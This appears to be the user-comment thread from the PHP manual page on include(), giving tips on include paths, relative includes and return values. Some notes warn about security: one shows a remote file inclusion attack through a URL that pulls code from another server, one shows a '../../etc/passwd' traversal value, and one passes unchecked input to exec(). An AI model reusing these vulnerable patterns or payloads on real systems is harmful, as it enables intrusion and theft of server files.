php_notes (at) megaphone . ch (20-Jul-2007 12:28)

If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)

http://www.php.net/manual/en/ini.php

oasis1 at geocities dot com (29-Jun-2007 04:11)

What a pain! I have struggled with including files from various subdirectories.  My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:

<?php

$times
= substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;

while (
$i < $times) {
 
$rootaccess .= "../";
 
$i++;
}
include (
$rootaccess."foo/bar.php");

?>

This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled  through.

post-nospam at brucemiller dot co dot uk (04-Jun-2007 10:07)

A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:

<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>

This creates an include that is relative to the root rather than the current directory.

The dot is for concatenation, not current directory, as with 'include path' syntax.

See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.

-hh- (23-Feb-2007 11:47)

coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.

mbread at m-bread dot com (10-Feb-2007 05:23)

If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.

Nathan Ostgard (19-Jan-2007 10:32)

You can also use debug_backtrace to write a function that do the chdir automatically:

<?php
function include_relative($file)
{
   
$bt = debug_backtrace();
   
$old = getcwd();
   
chdir(dirname($bt[0]['file']));
    include(
$file);
   
chdir($old);
}
?>

anonymous (18-Jan-2007 09:49)

When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:

<?php
$wd_was
= getcwd();
chdir("/path/to/included/app");
include(
"mainfile.php");
chdir($wd_was);
?>

This way neither my includes nor theirs are affected; they all work as expected.

vahe dot ayvazyan at googlemail dot com (10-Jan-2007 11:12)

If you want the "include" function to work correctly with paths and GET parameters, try the following code:

<?php
    $_GET
['param1'] = 'param1value';
   
$_GET['param2'] = 'param2value';
    @include(
$_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>

Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.

I spent several hours to figure this out.

Janci (16-Nov-2006 03:59)

Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:

Example 1:
<?php
test
();

function
test()
{
  echo
'In test.';
}
?>

Example 2:
file1.php:
<?php
test
();

include
'file2.php';
?>

file2.php:
<?php
function test()
{
  echo
'In test.';
}
?>

Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.

mlindal at pfc dot forestry dot ca (08-Aug-2006 04:33)

If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
    {
   
header("Location: newpubs_e.php");
    exit;
    }
?>

Will send them to newpubs_e.php if they try to access newpubs.php directly.

medhefgo at googlemail dot com (27-May-2006 12:50)

Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
   
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

    foreach (
$include_paths as $path) {
       
$include = $path.DIRECTORY_SEPARATOR.$filename;
        if (
is_file($include) && is_readable($include)) {
            if (
$returnpaths == true) {
               
$includable_paths[] = $path;
            } else {
                return
true;
            }
        }
    }

    return (isset(
$includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>

cavarlier [at] hotmail [dot] com (22-Apr-2006 08:59)

please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks

stalker at ruun dot de (10-Jan-2006 12:55)

a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
    if(!
is_dir($dirName))
        return
false;
   
$dirHandle = opendir($dirName);
    while(
false !== ($incFile = readdir($dirHandle))) {
        if(
$incFile != "."
          
&& $incFile != "..") {
            if(
is_file("$dirName/$incFile"))
                include_once(
"$dirName/$incFile");
            elseif(
is_dir("$dirName/$incFile"))
               
includeRecurse("$dirName/$incFile");
        }
    }
   
closedir($dirHandle);
}
?>

Jesper Juhl (14-Aug-2005 04:14)

If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined
('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define
('_VALID_INCLUDE', TRUE);
include(
'includefile.php');

/* rest of file */

?>

ignacio esviza (19-Jul-2005 10:10)

Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){
   
   
$buffer = ob_get_contents();
    include
$file;
   
$output = substr(ob_get_contents(),strlen($buffer));
   
ob_end_clean();
   
   
ob_start();
    echo
$buffer;
   
    return
$output;
   
}
?>

Ethilien (18-Jul-2005 08:04)

Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>

Berenguer Blasi (04-Jul-2005 02:07)

When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

<?php
$BASE_PATH
= dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);
?>

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.

(17-May-2005 04:10)

Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

<?php
if(file_exists("includes/a.php"))
   include(
"includes/a.php")
?>

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error

morris.php <A T> it-solutions.org (28-Apr-2005 01:31)

Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

<?php
include "http://example.com/MyInclude.php";
?>

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.

gillis dot php at TAKETHISAWAY dot gillis dot fi (14-Apr-2005 10:47)

This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(
substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return
true;
   }else{
   return
false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen

dragon at wastelands dot net (10-Dec-2004 12:30)

The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<?php include("/different/root/script.php"); ?>

And this file contains:
<?php echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.

mattcimino at gardiners dot com (11-Aug-2004 01:47)

To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.

durkboek A_T hotmail D_O_T com (03-Jun-2004 12:09)

I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.

moosh at php dot net (15-Jan-2004 03:03)

<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"

james at gogo dot co dot nz (09-Dec-2003 06:03)

While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }

 
$z = "FOO\n";
 
$z2 = &x($z);

  echo
$z2;
 
$z  = "NOO\n";
 
  echo
$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/

david dot gaia dot kano at dartmouth dot edu (04-Dec-2003 09:13)

I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David

php at mijav dot dk (19-Nov-2003 02:07)

The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:

<?php
  
// ignore the notice and evaluate the return value of the script, if any.
  
if(@include(dirname(__FILE__)."/foo.php"))
      echo
"foo.php included";
   else
      echo
"failed to include foo.php";
?>

redeye at cs-aktuell dot de (08-Feb-2003 01:29)

As to the security risks of an include statement like:

<?php
 
include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
 
if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
    include(
$page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path
= 'pages/';
 
$extension = '.php';
 
  if (
preg_match("#^[a-z0-9_]+$#i",$page) ){
   
$filename = $path.$page.$extension;
    include(
$filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.